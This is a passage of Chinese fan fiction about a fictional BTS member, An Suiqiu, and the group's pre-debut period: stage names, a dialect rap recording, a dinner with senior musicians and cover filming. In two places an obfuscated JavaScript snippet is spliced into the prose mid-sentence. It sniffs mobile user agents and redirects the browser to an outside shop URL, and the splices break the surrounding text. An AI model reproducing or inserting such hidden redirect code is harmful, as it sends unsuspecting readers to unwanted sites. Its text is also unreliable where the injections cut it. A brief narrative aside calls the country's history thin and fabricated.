田柾国直接哭了出来,眼泪往下掉,脸上却咧着大大的笑,又哭又笑的模样滑稽又可爱。安岁秋悬着的心彻底放下,转头看向金泰亨,少年已经扑进朴智旻怀里,又哭又笑地捶着他的背,满是失而复得的狂喜。 安岁秋的唇角不自觉弯起柔和弧度,眼底沉郁尽散,终于露出了这些天最轻松的笑容。 方时赫欣赏够了这场面,才抬手示意大家安静,“接下来宣布团队职务。”他说,“队长,金南俊。” 金南俊立刻站起身,朝着方时赫深深鞠躬,眼神坚定。 “副队长。”方时赫的目光转向安岁秋,落在这个眉眼清隽、神色始终沉静的少年身上,“安岁秋。” 他本以为会看见几人诧异或疑惑的神情,连解释的话都在心里打好了腹稿。 可眼前几人不知是不是还浸在全员出道的狂喜里,脸上只剩明朗笑意,没有半分质疑与不满,方时赫微微一顿,到了嘴边的说明便又咽了回去,无奈地扶了下额头。 安岁秋迎着全然信任与支持的目光,带着笑意站起身,同金南俊一道微微躬身,声音轻而坚定:“我会努力的。” “最后,”方时赫从抽屉里拿出一叠卡片,“你们的艺名。” 他一张张发过去。 金南俊——Rap Monster,郑号锡——J-Hope,金硕珍——Jin,看起来都比较正常,他们接受良好。 闵玧其——Suga,他提议的Gloss被方时赫一票否决,只能默默接受这个看起来不swag的艺名。 朴智旻——Jimin,方时赫原本想让他叫Baby J,可惜朴智旻皱着眉表示“太奇怪了”。 金泰亨——V,方时赫唯一起的比较好听的名字,比金泰亨自己想的Rex和Cis要更符合他的形象。 田柾国——Jungkook,他直接把那个写着Seagull的卡片翻了个面,釜山来的海鸥,好幼稚。 最后轮到安岁秋,方时赫拿着专属他的卡片,嘴角带着笑意,语气带着几分笃定:“岁秋啊,我给你准备的艺名是——Angel。” 安岁秋的表情瞬间僵住,嘴角的弧度也变成了负的。 “1004出生,‘1004(???)’不就是‘天使(??)’吗?而且你还姓安,长得也……嗯,也像Angel。” 安岁秋没想到居然有人能跟金硕珍的谐音梗想到一起去,还把这个烂梗搬上了台面,他抽了抽嘴角,直接否定。 “不能就用Chu.吗?” 方时赫摇头,“出道初期,公司暂时不准备公开Chu.这个身份。”他顿了顿,语气认真起来进行解释。 安岁秋是张毋庸置疑的好牌,但是要会用才能用好。 曾经的演员经历以及出众的外貌让他关注度本来就高,如果在团队还没站稳脚跟的时候,就公开他的制作能力,容易导致焦点失衡。 他可以接受权志龙和Bigbang,但不希望变成泫雅和4minutes那样,只留下一个人的名字。 安岁秋大概理解方时赫的想法,他点点头没说话,但是其他人却坐不住了。 “可是PD nim,”金南俊第一个开口,“岁秋的歌写得那么好,为什么不能让他……” “我同意。” 安岁秋平静地打断他,所有人都看向他。 “只要歌能被听到,是谁写的不重要。”安岁秋看向方时赫,“就是‘Angel’……能不能换一个?” 方时赫笑了,“那你想叫什么?” 安岁秋歪着头认真想了下,“Ann?” 田柾国在旁边小声嘀咕,“还不如叫Andy呢……” 安岁秋转头瞪了他一眼,少年立刻缩了缩脖子,可脸上的笑意却藏不住。 “Ann……”方时赫重复了一遍,在卡片上写下这个名字,“好,那就Ann。” 走出办公室时,八个人手里都多了一张小小的卡片,夕阳的光笼罩着他们,给每个人都镀上了一层温暖的金边。 从此刻起,故事真的要开始了。 ------------------------ 参考文献: [1] 辉晟(Wheesung)(词); 李基(Iggy), 徐龙培(Seo Yong-bae)(曲). Heaven[CD]. Ailee(李艺真). 首尔, YMC Entertainment, 2012-02-09 。 25. 样本新身份 十二月初的首尔,寒气已然刺骨,练习室的暖气开得足,却驱不散方时赫召集开会时,无形中笼罩下来的某种更为严肃的空气。 会议桌上摊开着一些印有LOGO和简单排版的设计稿,方时赫小眼睛里闪烁着精明的光芒,他清了清嗓子,目光扫过围坐的八个少年——从金硕珍到最小的田柾国,最后在略显紧绷的安岁秋和下意识坐直的金南俊脸上略作停留。 “推特,Bangtan TV,SoundCloud……” 方时赫手指点着桌面,语速不快,却字字清晰。 “从今天起,直到正式出道前,这些就是你们面向世界的窗口,是专属你们的频道。” 他顿了顿,身体微微前倾,语气里多了几分难得的语重心长,“世界会通过这些频道认识你们,评判你们,甚至……误解你们。” “但在学会向世界展示之前,孩子们,你们要先学会对自己坦诚。” “音乐是,表演是,你们的汗水和野心,也是。” 这话听起来有些抽象,却像一颗小石子投入心湖。 “出道前的宣传策略,公司已经有了初步规划。”他声音平稳,却带着不容置疑的决断力。 “泰亨。” 被点到名字的金泰亨猛地抬起头,那双常常盛满无忧无虑笑意的眼睛此刻睁得圆圆的,带着一丝不易察觉的慌乱。 “你将是我们组合的‘秘密武器’。” 方时赫看着他,语气缓和了些,但内容依旧直接,“在正式出道前,你不会出现在任何公开的物料、照片、视频中。也就是说,在初期外界看到的‘防弹少年团’,会是七个人的样子。” 会议室里瞬间安静得能听见暖气片水流循环的细微声响。 金泰亨脸上的血色一点点褪得干净,嘴唇动了动,像是要开口说些什么,最后却只是紧紧抿起,缓缓低下头。 那种感觉很奇怪,明明他坐在这里,是实实在在的八分之一,可一纸规划就将他从“即将被看见”的未来里,暂时抹去了痕迹。 安岁秋坐在他斜对面,方时赫话音刚落的瞬间,他便敏锐地察觉到金泰亨骤然垮下的肩膀,和那股几乎要溢出来的无声委屈,他脚尖极轻地动了动,随即用膝盖轻轻碰了碰金对方近在咫尺的膝盖。 一个短暂而清晰的触碰,金泰亨蜷缩的手指微微松开了些,会议在一种复杂的沉默中结束。 走出会议室时,十二月的寒风扑面而来,金泰亨忍不住缩了缩脖子,金硕珍自然地揽过他肩膀,用自己高大的身躯替他挡了挡风,嘴里念叨着“呀,穿太少了”。 朴智旻也凑过来,笑嘻嘻地插科打诨,试图驱散那份凝重。 安岁秋走在稍后一点和闵玧其并肩,听见对方开口,声音压得很低,只有他们两人能听见,“泰亨心里不好受吧。” “嗯。” 安岁秋望着前方被哥哥们围住、却依然显得有些沉默的背影。 “所以我们得更小心才行。” “小心什么?” “小心别让他真的觉得,自己被落下了。” 安岁秋收回目光,看向闵玧其,琥珀色的眼睛里映着楼道昏暗的光,却异常清澈坚定。 “就算照片里没有,视频里没有,但我们里面,必须有。” 闵玧其看了他两秒,从鼻子里哼出一声意义不明的气音,算是认同,随即又恢复那副懒洋洋的样子,抄着口袋往前走,但安岁秋知道,这位哥哥心里有数。 忙碌的十二月,就在这种既充满期待又夹杂着些许隐痛的氛围中,正式拉开了序幕。 开通官方推特账号那天,一群人挤在公司那台老旧的台式电脑前,屏幕蓝光映着一张张年轻而紧张的脸,账号注册成功,第一个关注者是他们彼此。 “第一条推文发什么好?” 金南俊握着鼠标,有些迟疑,太正式显得僵硬,太随意又怕分量不够,一时拿不定主意。 “发照片吧,”郑号锡提议,“拍点练习室日常?” “可泰亨不能入镜啊。”朴智旻小声提醒了一句,空气瞬间又沉了几分。 金泰亨站在人群外侧,勉强扯出一个笑:“没事,你们拍就好。我……我去帮你们看看光线。” “等一下。” 安岁秋忽然开口,他走到练习室的镜子墙前,抬手调了调顶灯开关。 几盏主灯应声熄灭,只留墙角两盏微弱的补光灯亮着。巨大的镜子里映出他们模糊的身影,在昏暗中更像一群轮廓柔软、却满是生命力的剪影。 “这样拍,怎么样?” 安岁秋走回来,从金南俊手里拿过手机,“不拍脸,只拍影子。我们一起摆个姿势?” 众人愣了一下,很快明白了他的用意,七人在镜子前站成一排,背对着光源,影子被拉得很长,落在镜面与地板上。 该摆什么姿势?金硕珍下意识比了个心,金南俊抱着胳膊,郑号锡蹲在地上,自带一股swag,闵玧其随意站着,朴智旻微微侧身,田柾国则站得笔直。 安岁秋看着取景框,忽然抬头:“泰亨哥,你也过来。” “站在我们后面就行,叠在一起,看不出来是谁。” 他语气平静,却带着不容推脱的温柔笃定,“而且,我们换个统一的姿势吧,就……最简单的。” 说着,他举起右手,比出一个经典的剪刀手,眉眼也弯了起来。 其他人立刻心领神会。金硕珍放下半举的心,郑号锡收起舞姿,所有人一同举起右手,整齐地比出“V”。 金泰亨站在最后,望着前方七个整齐划一的背影和那一排清晰的手势,鼻尖忽然一酸。他也慢慢抬起手,比出了一模一样的“V”。 “咔嚓。” 照片就此定格。昏暗的练习室里,七个模糊却充满力量的剪影,七个整齐的“V”,还有身后那道虽不显眼、却真实存在的黑影。 这条推文的配文很简单,只有四个字:即将开始。 发出后,众人一起刷新页面,第一条来自陌生账号的评论跳了出来:“影子军团?挺一致的,加油!” 金泰亨看着评论,又望向照片里那抹确确实实属于自己的影子,忽然笑了出来。笑容带着点傻气,却一点点驱散了眼底积压的阴霾。 安岁秋走到他身边,伸手轻轻捏了捏他还带着婴儿肥的脸颊。 宣传策略敲定后的第一个周末,《八道江山》的录制正式开启。狭小的录音棚里,空气都凝着几分紧绷的地域氛围感,似有若无的硝烟味,藏在每一缕流转的音波里。 闵玧其率先走进录音间,伴奏旋律缓缓响起的刹那,他稳稳握住麦克风,再抬眼时,平日里那份散漫冷淡的神态荡然无存,眼底尽是地下rapper独有的锋利与悍然气场。 大邱方言化作的rap,如同淬过火的利刃,语速快且力道十足,每一个吐字都扎根于故土,裹着浓烈的乡土气息。那股原始又莽撞的冲击力,隔着厚重的隔音玻璃,都让棚外的众人忍不住头皮发麻,心底泛起阵阵震撼。 郑号锡紧随其后登场,光州方言经他演绎,少了几分凌厉的狠劲,却多了数不尽的弹性与蓬勃生命力。他的flow灵动多变,说唱间仿佛不是在把控节奏,而是用方言翩然起舞,每一处节奏切分都精准至极、流畅漂亮,将南道独有的热情与韧劲展现得淋漓尽致。 棚内的两人隔着玻璃遥遥对视,眼神在空中激烈交锋,此刻他们不再是朝夕相处的队友,反倒像地下battle场上狭路相逢的劲敌,彼此较劲,分毫不让,火药味瞬间拉满。 金南俊作为第三棒登场,肩上的担子不轻——他要用偏向标准首尔音、又融合日山地域特色的流畅flow,收束调和前两种极具棱角的方言风格,将整首歌的立意拔高到更深远的层面。 进棚前,他深吸一口气,闭着眼默默默念几遍歌词,沉下心梳理情绪。他的段落逻辑缜密,比喻精巧绝妙,如同一张织得紧实的网,稳稳兜住前面肆意奔涌的韵律,将那股张扬的力量引向更辽阔的境界。 最后轮到安岁秋,他站在录音棚外,耳机里循环着前三段已录好的片段,手指无意识地在大腿上轻敲节奏,心底反复琢磨着属于自己的部分。 春川,他的故乡,坐落在群山与湖泊环抱之间。 这里的方言语调,没有大邱的硬朗刚直,没有光州的活泼跳脱,更不同于首尔的快节奏紧凑,独属于江原道的清冽悠长,像山风拂过湖面,带着独有的温润韵律。 该如何把这份独有的故乡韵味揉进rap里? 他忽然想起儿时跟着爷爷去汉江边,老人们慢悠悠说话的语调;想起春川明洞街头,热闹却不嘈杂的市井人声;想起小学同窗打闹时,随口蹦出的方言俚语。这些从不是攻击的武器,也不是炫技的工具,而是刻在骨子里的底色,是与生俱来的呼吸感。 整理好心情,安岁秋迈步走进录音间,抬手微调麦克风的高度。前奏渐歇,他的声音缓缓响起。 没有刻意效仿闵玧其的狠厉,没有盲目追求郑号锡的灵动,更没有延续金南俊的缜密,他的rap语速适中,咬字清晰利落,带着一丝微妙又自然的拖腔与转音,恰似山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394874|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间溪流绕过岩石,舒缓从容,毫无刻意雕琢的痕迹。 他把故乡平缓的叙事语调,全然融进节奏里,在激烈的鼓点间,开辟出一片带着叙事感的留白,中和了此前的浓烈火药味,又为歌曲增添了别样的层次。歌词里藏着少年视角的细腻观察,还带着几分淡淡的冷幽默,恰到好处地平衡了整首歌的氛围。 若说闵玧其与郑号锡是炽热的火、凌厉的闪电,金南俊是包容万物的大地,那安岁秋便是其间静静流淌的江水,表面沉静,内里却藏着不容小觑的力量。 当最后一个音节缓缓落下,录音师隔着玻璃,毫不吝啬地朝他竖起了大拇指。 歌曲在SoundCloud上线的那一刻,八个人围在公司的电脑前,屏住呼吸刷新着页面。 第一条评论跳出来:「方言rap太酷了!大邱那位声音好凶,光州那位节奏感绝了,日山那位升华主题,最后那位……声音好听而且风格好特别!是春川话吗?听着好舒服!」 “啊啊啊!有人听出来了!”郑号锡第一个跳起来。 紧接着,评论开始增多。 「意外地和谐!四个人四种风格融合得真好!」 「等等,最后那个春川rap的弟弟……长得是不是有点眼熟?」 「哎一西!那不是安岁秋吗?!演《熔炉》的那个???」 「真的是他!我的天,他什么时候去搞说唱了???」 「演员转型爱豆?还是rapper?这跨度……但我居然觉得不错?」 「长相那么清纯漂亮,一开口这么有范儿?这反差我吃了!」 「以前就觉得他演技好,没想到声音条件也这么优越,rap得不比专业地下差啊!」 「纯路人,因为封面点进来,被最后那个小帅哥的嗓音和范儿圈粉了,求资料!」 评论区的风向渐渐从讨论方言rap本身,转向了对安岁秋个人转型的热议,惊讶、好奇、认可、期待……各种声音交织。 练习室里爆发出一阵欢呼,为这首意义非凡的出道前奏获得了初次认可而兴奋。 金南俊用力拍着安岁秋的后背,闵玧其也难得地勾了勾嘴角,安岁秋看着那些评论,心里松了口气,但更多的是一种验证——他选择的路,似乎并没有走错。 首尔一栋普通居民楼里,夜色已经深了。 李秀妍刚加班到家,浑身疲惫地靠在沙发上,有一搭没一搭地刷着手机。她只是个再平常不过的公司职员,此刻连睁眼都觉得费力。 很多年前,她追过一部叫《你能听到我的心吗》的剧,对里面那个眼神干净、演技动人的小演员车东株印象极深,甚至真心实意地当过一阵子“妈妈粉”。 后来那孩子又演了《熔炉》,看得她心口发紧、整夜难受。再之后,他就慢慢淡出了荧幕,音讯渐少,这份惋惜也在她心里悄悄搁了许多年。 算法忽然把《八道江山》的视频推到她眼前。她对说唱本没什么兴趣,手指刚要划开,却被封面和“方言”两个字留住了脚步——她一向对乡音这类东西,有种莫名的柔软情怀。 那就听听吧。 她点开视频。 开头闵玧其的部分冲击力太强,凶得让她微微皱眉;郑号锡的段落轻快灵动,让她松了口气;金南俊的歌词缜密有深度,让她默默点头;直到画面切到第四个人。 李秀妍的眼睛猛地睁大,手里的咖啡杯一晃,差点洒出来。 那张脸褪去了孩童的稚气,轮廓愈发清俊挺拔,可那双微微垂着、浅淡透亮的琥珀色眼睛,几乎在一瞬间,就和记忆里那个眼神干净得让人心软的小小身影,严丝合缝地重叠在了一起。 是他。 真的是他。 她屏住呼吸,一瞬不瞬地望着屏幕。少年握着麦,用一种她陌生却格外顺耳的语调,平稳流畅地唱着。没有刻意耍帅,没有夸张表情,只有属于他年纪的干净与专注,每个音节都稳稳落进节奏里,自成一股安静却抓人目光的气场。 和记忆里那个易碎又聪慧的荧幕形象截然不同,却同样,耀眼得让人移不开眼。 一曲结束,李秀妍久久没有动。 片刻后,她轻轻抬手,按下了点赞,又关注了这个名叫“BTS”的陌生频道。 心里漫开一阵又软又涩的感慨——原来当年那个让她惊艳了好久的孩子,没有消失,只是在另一条她从没想过的路上,扎扎实实长大了。 她不懂偶像,也不算懂说唱。 但这一刻,她忽然很想看着他,看看这个少年,接下来究竟会走到哪里。 26. 仪式化记录 《八道江山》发布后的某个夜晚,安岁秋的手机突然轻响,来电屏幕上跳动着熟悉的名字——郑容和。 他刚按下接听键,听筒里便传来郑容和佯装愠怒的声音,带着几分嗔怪:“呀!安岁秋!出道这么大的事,我们居然是在网上刷到的?你这小子,是不是该好好给哥哥们赔个罪?” 安岁秋忍不住弯起唇角,连忙轻声道歉,“容和哥,真的对不起,最近练习和筹备实在太忙了,本来想着等我们站稳脚跟,再正式跟你们说的。” “还等什么站稳脚跟,我们都看过视频了!”郑容和的语气瞬间软下来,满是赞许,“那首方言rap,你们表演得太帅了。” 话音刚落,李弘基洪亮的嗓门便从背景音里挤了进来。 “别磨磨蹭蹭道歉了,赶紧出来吃饭!还是老地方的烤肉店,把你那一群新队友一起带上!” 于是,一行人循着记忆里的味道,来到了那家熟悉的烤肉店包间,一场如同联谊般的聚餐热热闹闹地开场。比起前两次的生疏拘谨,此刻的气氛愈发熟稔松弛,烤肉的滋滋声响混着欢声笑语,满是温暖的烟火气。 酒过三巡,菜过五味,李弘基果然将目光投向了安岁秋,笑着招手。 “安安啊,过来过来,给哥哥们表演一段你们的《八道江山》!网上都说你们的方言rap超有味道,今天现场让我们好好验收验收!” 安岁秋耳根微微泛红,下意识看向身边的队友。金南俊笑着朝他点头示意,闵玧其抬了抬下巴,一脸随性认可,郑号锡更是已经跟着节奏轻轻拍手,跃跃欲试。 没有专业伴奏,只有包间里萦绕的烤肉香气,几人各自坐着,清唱起歌曲的精华段落。 闵玧其的rap带着独有的狠厉气场,郑号锡灵动鲜活,金南俊沉稳大气,安岁秋的嗓音清透干净,即便无音乐衬托,四人风格各异却默契十足,节奏穿插、和声配合,全是朝夕相伴打磨出的默契,每一处细节都恰到好处。 一曲唱罢,包间里先是短暂的安静,随即爆发出热烈的掌声与清脆的口哨声。 李正信忍不住拍着桌子赞叹,“哇!太厉害了,现场比视频里还要带感!” “真的,真的让人刮目相看。” 姜敏赫也笑着点头,看向安岁秋的眼神满是认可。 郑容和拿起酒杯,倒了一杯烧酒却没有饮下,他看着眼前这群平均年龄比自己小好几岁的少年,脸上的玩笑神色渐渐收敛,取而代之的是郑重与恳切。 “一定要记住现在这种感觉。” 他的声音不算洪亮,却让喧闹的包间瞬间安静下来,所有人都静静听着。 “记住此刻一起围坐吃肉、一起嬉笑打闹、一起放声唱歌的模样。往后的路,一定会很难走,会疲惫,会辛苦,会听到无数刺耳的话,会遇见很多不如意的人和事。” “但无论何时,回到宿舍,看看身边的彼此,回想今天这份初心——你们就还是当初那群,单纯想一起做好音乐的孩子。” 他顿了顿,语气愈发认真,“这份初心,千万不要丢。” 朴实的话语,却沉甸甸地落在每个人心底,连平日里最闹腾的金泰亨和田柾国都收敛了笑意,安静下来,认认真真地点头,将这番话记在了心里。 李弘基的目光在席间缓缓流转,最后定格在脸上带着笑意,却比平日安静不少的金泰亨身上。 他端起酒杯,隔空朝金泰亨示意,朗声开口,“泰亨啊。” 金泰亨立刻坐直身子,神色乖巧。 “别总耷拉着脑袋,心里藏着委屈。”李弘基喝了一口酒,嗓门依旧洪亮,却多了几分过来人的通透,“我们公司以前也有个孩子,出道前被藏得严严实实,一张照片都不许外露,那孩子当时也满心郁闷。” 他抬手比了一个爆炸的手势,眼睛瞪得圆圆的,语气满是笃定:“但你要记住,藏得越深,破土而出的那一刻,势头就越猛,就像这样‘砰’的一下,惊艳所有人,那种感觉才最痛快!” “被隐藏的这段日子,别荒废,使劲练,使劲学,把所有能量都积攒起来。等你正式亮相的那天,就要拿出能炸开一片天的势头,让所有人都记住你,明白吗?” 金泰亨怔怔地望着李弘基,心底那些因隐藏身份而生的憋闷与委屈,竟被这番话尽数熨平,胸腔里反倒燃起一簇炽热的火苗,充满了力量。 他重重地点头,声音响亮又坚定,“知道了,哥!我一定会好好努力的!” 聚餐后的第二天,安岁秋照常返校。 深蓝色的校服外套衬得他脖颈线条干净修长,身形清挺却不显单薄,简单的双肩包斜挎在一侧,走在清潭高中的校园里,明明和其他学生穿着一模一样的校服,却偏偏格外惹眼。 眉骨利落,侧脸线条流畅得像被精心勾勒过,冷白的皮肤在初春的天光下近乎透明,连垂眸走路时,长睫投下的阴影都格外清晰。 偶有目光好奇地停驻,细碎议论轻轻飘来,他只微微颔首示意,神情温和却不张扬,步履从容,自带一种与年龄不符的沉静气质。 课间,班长崔书妍抱着一摞作业本走到他桌前,轻轻放下属于他的那份。 她推了推细框眼镜,声音一如既往的清晰平稳,只是语速比平时快了一点点,“安岁秋同学,这是上周的物理笔记和复习提纲。老师说要重点看第三章。” 安岁秋抬眸看向她,眼瞳是柔和的浅棕,亮而不锐,唇角带着一点习惯性的浅淡弧度,指尖修长干净,稳稳接过本子,声音温和清润像初春融雪:“谢谢班长。” 只是一个简单的抬头动作,都让周遭悄悄投来的目光顿了顿,还有几声隐蔽的吸气声。 崔书妍点点头,转身欲走,脚步忽然顿住,背对着他,声音压得极低,“歌……我听了。”停顿片刻,她斟酌着吐出三个字,“很厉害。” 不等他回应,便快步回了座位,耳尖悄悄泛红,恢复了一丝不苟的模样。 安岁秋望着她的背影微怔,随即眼底漾开一抹浅淡笑意,眉梢都柔和下来,原本清冷的眉眼添了几分暖意,格外动人。 午休时,他收到了林东玄的短信:「SoundCloud上那个,是你们吧?」 「恭喜!你要变成大明星了。」 安岁秋走到走廊尽头窗边,背光而立,修长指尖捏着手机,他望着楼下光秃秃的枝桠,指尖轻敲屏幕:「只是换了个地方,继续努力而已。哥的表演课怎么样?还顺利吗?」 「还行,就是台词有点头疼,不过整体感觉还不赖,加油啊,大明星,连我的份一起。」 安岁秋看着这条短信,仿佛能透过文字看到那个在便利店、咖啡店、表演教室之间奔波,眼底有疲惫却始终亮着一簇火的少年,他嘴角轻弯,眼底盛满柔和。 「嗯,一起加油。」 下午最后一节是历史课,老师站在讲台上,语调平缓又寡淡,翻着课本讲述着某个王朝的兴衰更迭,内容枯燥得让人提不起兴致。 本就历史脉络单薄的土地,能述说的过往本就寥寥,课本上堆砌的知识点,掺了多少修饰与虚构成分,早已无从深究,不过是照本宣科的无聊说辞,教室里大半同学都昏昏欲睡。 窗外天色一点点暗沉下来,昏黄的天光斜斜穿透玻璃窗,柔柔洒洒地淋在安岁秋身上。他手肘随意支在桌面,手腕纤细却不失力量感,握着笔的那只手格外惹眼。 手指修长纤细,骨节分明又不突兀,线条流畅柔和,手背上一枚浅棕色的小痣点缀其间,反倒添了几分独特的韵味,连指甲都修剪得整整齐齐,干净又好看。 他听不进去讲台上的内容,指尖轻捏笔杆,手腕微微转动,修长手指灵活翻飞,笔身在指间轻松旋转,动作肆意又流畅,转了几圈后,笔尖落在草稿本上开始无意识滑动。 起初只是杂乱无章的线条,慢慢的,笔尖顿住,开始细细勾勒,渐渐凝聚成一个带着略显抽象的变体字母。 他垂眸盯着纸上逐渐成型的图案,看得格外专注,原本因连日忙碌泛起的疲惫眸光也一点点褪去暗沉,慢慢亮了起来,浅棕色的眼眸里落进细碎的光,像是黑夜里被悄然点燃的星辰,澄澈又耀眼。 接下来的日子是密集的物料拍摄期,每个人都在适应着“被镜头记录”的感觉。 金南俊录制《Power》翻唱视频时,压力最大。 他不仅是团队的主心骨之一,这段视频也将是“Rap Monster”这个名字的首次公开亮相,他在狭小的拍摄空间里,一遍又一遍地调整状态,寻找最能体现歌曲力量和自身特质的演绎方式。 汗水浸湿了他的额发,喉结因为反复的演唱而紧张地上下滚动,直到最后一条拍完,他才如释重负地吐出一口长气,接过安岁秋默默递来的温水。 闵玧其的《All I Do Is Win》混音录制,则展现了他截然不同的另一面,在属于他的工作室里,他像是回到了自己的王国。 戴上耳机,握住鼠标,整个世界就只剩下屏幕上的音轨和脑海中奔流的节奏。他的表情专注而冷漠,手指在键盘和控制器上快速移动,每一个音效的调整、每一段节奏的切分都精准果断,那种沉浸在音乐中时散发出的绝对自信和掌控力,让透过玻璃观察的安岁秋仿佛看到了未来制作人SUGA的雏形。 而安岁秋翻唱的《Nobody》[1],成了队内一场小小的秘密狂欢。起初拿到这首曲子时他是迟疑的——Wonder Girls前辈的原版甜美又性感,和他清冷疏离的风格实在相去甚远。 “试试嘛,安安!”金泰亨凑在他身边怂恿,眼睛亮晶晶的充满期待,“一定超有反差感!” “对啊,反转魅力。”郑号锡也在一旁笑着起哄。 在成员们半鼓励、半等着看热闹的目光里,安岁秋深吸一口气进了录音室。 他没有刻意模仿原唱的腔调,而是和制作人一起大幅改编编曲:放慢节奏,简化配器,只留干净的吉他扫弦,把空间全部留给人声。 不刻意演性感,只唱少年人独有的、带着一点冷淡的慵懒与暧昧。 当那清亮又裹着淡淡磁性的嗓音,像耳语般慢条斯理地吐出那句“I want nobody nobody but you”时,录音室外原本等着打趣的成员们,瞬间全都睁大了眼。 田柾国慌忙捂住嘴,怕忍不住笑出声打扰录制,朴智旻微微张着嘴,满眼意外,金硕珍一脸欣慰,嘴角带笑,闵玧其靠在墙边,眉梢微挑,眼底掠过一丝毫不掩饰的欣赏。 而这还不是全部。 进棚拍摄前,安岁秋悄悄找了造型助理。 等他站到镜头前,灯光一落,众人眼神一亮——素净的脸上呈现出来的是客观的美貌,安岁秋身形清瘦挺拔,肩线利落,锁骨线条清晰,颈间还有一条极简的银链,吊坠正是他历史课上随手画的那枚花体V,正安静贴在锁骨下方,随呼吸轻轻晃动。 音乐响起,他指尖轻握麦克风,眼神平静望向镜头,身体随着节奏微微摆动。 颈间的V字坠子一闪一闪,衬得他脖颈线条愈发修长好看。 录制结束,他刚走出录音室,就被成员们真心实意的掌声和笑闹围住。 金泰亨没有挤上前,只安静站在角落,捧着手机看完刚导出的视频初版。屏幕冷光照在他脸上,他看得格外专注,从安岁秋开口的第一句,到那枚V字坠子每一次细微晃动,都没落下。 视频黑屏的瞬间,他望着自己模糊的倒影沉默片刻,随即收起手机,穿过闹哄哄的人群,径直走到正低头喝水的安岁秋面前。 下一秒,金泰亨伸开双臂,结结实实地抱住了他,手臂收得很紧,像是把满心翻涌的情绪都揉进这个拥抱里。 安岁秋被他抱得轻轻一晃,随即放松下来,一手握着水瓶,另一只手抬起,温柔地拍了拍他的后背,声音低而温和,“怎么了?” 金泰亨不回话,却像只缠人又欢快的幼年犬,胳膊顺势环住安岁秋纤细清瘦的腰,稍一用力就将人轻轻抱起离了地面,原地转了一小圈。 他把脸埋在安岁秋骨感分明的肩膀上,温热的呼吸裹着软意,鼻尖轻轻蹭着对方的肩颈,声音软乎乎地缠上来,一边边喊他“Ann~安安~” 安岁秋连忙举高水瓶,眉眼间漾开一点无措又温柔的笑意,轻声问,“你这是……干什么呢?” 一旁的金南俊看着这闹哄哄的温馨场面,嘴角弯起温柔的弧度,脸颊旁的酒窝深深陷下去,眼神满是宠溺,他抬手举高胳膊从安岁秋手里稳稳接过那瓶水,细心地拧好瓶盖,生怕一个打闹洒出来。 朴智旻也笑眯眯地从身后快步凑过来,将胳膊强硬地插进了金泰亨和安岁秋贴紧的腰缝里,牢牢环住安岁秋纤细的腰肢,随即把下巴轻轻垫在安岁秋另一侧的肩窝上,温热的呼吸贴在敏感的左耳旁,小奶音也喊他“Ann~” 安岁秋的腰不怕痒,可脖子和耳朵向来敏感得很,左右两边同时被温热的气息包裹着,瞬间泛起一层薄红。 他忍不住缩了缩脖子,嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394875|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却扬着藏不住的笑意,声音带着几分轻颤,小发雷霆地喊了句,“呀!” 集体照的拍摄在摄影棚进行。 八个人都换上了统一的、带着些许街头感的训练服,摄影师试图引导他们摆出一些有冲击力的造型,但最初大家都有些僵硬,尤其是面对单反相机那巨大的镜头时,田柾国和朴智旻连手脚都不知道该往哪里放。 “别想着是在拍照。” 摄影师是个有经验的中年大叔,他放下相机,比划着,“就当是你们平时在练习室,累了,凑在一起休息,聊天,打闹。” “对,南俊和玧其,你们俩平时怎么讨论音乐的?就那样。” “智旻和柾国,跳完舞是不是会这样靠着喘气?” “硕珍呢,是不是会这样照顾弟弟们?” “号锡,你活跃气氛的时候什么样?” “岁秋,你看着他们,就像平时那样看着就行。” “还有泰亨——” 摄影师的目光落在金泰亨身上,顿了顿,笑道:“你也一样,就当平时那样。” “虽然今天的照片你可能用不上,但你要知道,你在,和不在,他们拍出来的感觉是不一样的,你是他们气氛的一部分。” 这话点醒了众人,渐渐地,大家放松下来。 金南俊和闵玧其真的开始比划着讨论某个节奏,郑号锡做了个滑稽的舞蹈动作逗田柾国,金硕珍笑着帮朴智旻整理了一下衣领,安岁秋靠在墙边,目光温和地追随着嬉闹的成员。 而金泰亨则坐在一旁的把杆上,晃着腿,看着哥哥弟弟们,脸上露出了这些天来最灿烂、最放松的一个笑容。 摄影师敏锐地捕捉下了这些瞬间,有金泰亨的,也有没有他的。 有金泰亨的版本,会被仔细存档,等待他“炸开天际”的那一天,而没有他的七人版本,将成为初期公开的影像。 圣诞前夕,公司决定录制一首属于练习生们的圣诞歌,没有复杂的编曲,就是简单的吉他伴奏,和八个少年的声音,歌词是他们一起攒出来的。 讨论歌词时大家嘻嘻哈哈的,录制时也是状况百出。 不是朴智旻进错拍,就是田柾国忘词,金硕珍唱着唱着笑场,郑号锡的和声时不时飘一下,但没人喊停,录音师也笑着任由他们发挥。这些失误、笑声、即兴加入的古怪和声,统统被录了进去,反而让整首歌充满了鲜活的生命力和真挚的情感。 录制前,关于金泰亨的部分,安岁秋找到了负责音频的老师,语气平静但坚持,“老师,泰亨的部分,请务必给他一个独立的麦克风,他的声音需要被单独收录。” 老师有些为难,“可是最终版本,他的声音可能需要进行处理,甚至……” “没关系。” 安岁秋打断他,目光清澈而坚定,“我们需要他的声音,被原原本本地录下来。这是记录,对我们八个人而言,比最终发表的那个版本更重要。” 